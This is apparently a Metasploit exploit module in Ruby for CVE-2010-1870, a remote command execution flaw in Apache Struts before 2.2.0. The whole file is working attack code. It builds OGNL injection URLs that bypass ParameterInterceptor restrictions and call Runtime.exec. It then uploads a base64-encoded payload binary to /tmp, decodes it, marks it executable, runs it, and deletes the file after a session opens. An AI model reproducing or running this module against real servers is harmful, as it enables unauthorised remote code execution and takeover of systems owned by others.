Apache Struts < 2.2.0 - Remote Command Execution



##

# $Id: struts_code_exec.rb 13586 2011-08-19 05:59:32Z bannedit $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking

    include Msf::Exploit::CmdStagerTFTP
    include Msf::Exploit::Remote::HttpClient

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Apache Struts < 2.2.0 Remote Command Execution',
            'Description'    => %q{
                    This module exploits a remote command execution vulnerability in 
                Apache Struts versions < 2.2.0. This issue is caused by a failure to properly
                handle unicode characters in OGNL extensive expressions passed to the web server.
                
                    By sending a specially crafted request to the Struts application it is possible to
                bypass the "#" restriction on ParameterInterceptors by using OGNL context variables. 
                Bypassing this restriction allows for the execution of arbitrary Java code.
            },
            'Author'         =>
                [
                    'bannedit', # metasploit module
                    'Meder Kydyraliev', # original public exploit
                ],
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision: 13586 $',
            'References'     =>
                [
                    [ 'CVE', '2010-1870'],
                    [ 'OSVDB', '66280'],
                    [ 'URL', 'http://www.exploit-db.com/exploits/14360/' ],
                ],
            'Platform'      => [ 'win', 'linux'],
            'Privileged'     => true,
            'Targets'        =>
                [
                    ['Windows Universal',
                        {
                                'Arch' => ARCH_X86,
                                'Platform' => 'win'
                        }
                    ],
                    ['Linux Universal',
                        {
                                'Arch' => ARCH_X86,
                                'Platform' => 'linux'
                        }
                    ],
                ],
            'DisclosureDate' => 'Jul 13 2010',
            'DefaultTarget' => 0))

            register_options(
                [
                    Opt::RPORT(8080),
                    OptString.new('URI', [ true, 'The path to a struts application action ie. /struts2-blank-2.0.9/example/HelloWorld.action', ""]),
                    OptString.new('CMD', [ false, 'Execute this command instead of using command stager', "" ])
                ], self.class)
    end

    def execute_command(cmd, opts = {})
        uri =  Rex::Text::uri_encode(datastore['URI'])
        var_a = rand_text_alpha_lower(4)
        var_b = rand_text_alpha_lower(2)
        var_c = rand_text_alpha_lower(4)
        var_d = rand_text_alpha_lower(4)
        var_e = rand_text_alpha_lower(4)
        
        uri << "?(%27\\u0023_memberAccess[\\%27allowStaticMethodAccess\\%27]%27)(#{var_a})=true&"
        uri << "(aaaa)((%27\\u0023context[\\%27xwork.MethodAccessor.denyMethodExecution\\%27]\\u003d\\u0023#{var_c}%27)(\\u0023#{var_c}\\u003dnew%20java.lang.Boolean(\"false\")))&"
        uri << "(#{var_b})((%27\\u0023#{var_d}.exec(\"CMD\")%27)(\\u0023#{var_d}\\u003d@java.lang.Runtime@getRuntime()))=1" if target['Platform'] == 'win'
        uri << "(asdf)(('\\u0023rt.exec(\"CMD\".split(\"@\"))')(\\u0023rt\\u003d@java.lang.Runtime@getRuntime()))=1" if target['Platform'] == 'linux'
        uri.gsub!(/CMD/, Rex::Text::uri_encode(cmd))

        vprint_status("Attemping to execute: #{cmd}")

        resp = send_request_raw({
            'uri'     => uri,
            'version' => '1.1',
            'method'  => 'GET',
        }, 5)
    end

    def windows_stager
        exe_fname = rand_text_alphanumeric(4+rand(4)) + ".exe"

        print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")
        execute_cmdstager({ :temp => '.'})
        @payload_exe = payload_exe

        print_status("Attempting to execute the payload...")
        execute_command(@payload_exe)
    end

    def linux_stager
        cmds = "/bin/sh@-c@echo LINE | tee FILE"
        exe = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)
        base64 = Rex::Text.encode_base64(exe)
        base64.gsub!(/\=/, "\\u003d")
        file = rand_text_alphanumeric(4+rand(4))

        execute_command("/bin/sh@-c@touch /tmp/#{file}.b64")
        cmds.gsub!(/FILE/, "/tmp/" + file + ".b64")
        base64.each_line do |line|
            line.chomp!
            cmd = cmds
            cmd.gsub!(/LINE/, line)
            execute_command(cmds)
        end

        execute_command("/bin/sh@-c@base64 -d /tmp/#{file}.b64|tee /tmp/#{file}")
        execute_command("/bin/sh@-c@chmod +x /tmp/#{file}")
        execute_command("/bin/sh@-c@rm /tmp/#{file}.b64")

        execute_command("/bin/sh@-c@/tmp/#{file}")
        @payload_exe = "/tmp/" + file
    end

    def on_new_session(client)
        if target['Platform'] == 'linux'
            print_status("deleting #{@payload_exe} payload file")
            execute_command("/bin/sh@-c@rm #{@payload_exe}")
        else
            print_status("Windows does not allow running executables to be deleted")
            print_status("delete the #{@payload_exe} file manually after migrating")
        end
    end

    def exploit
        if not datastore['CMD'].empty?
            print_status("Executing user supplied command")
            execute_command(datastore['CMD'])
            return
        end

        case target['Platform']
            when 'linux'
                linux_stager
            when 'win'
                windows_stager
            else
                raise RuntimeError, 'Unsupported target platform!'
        end

        handler
    end
end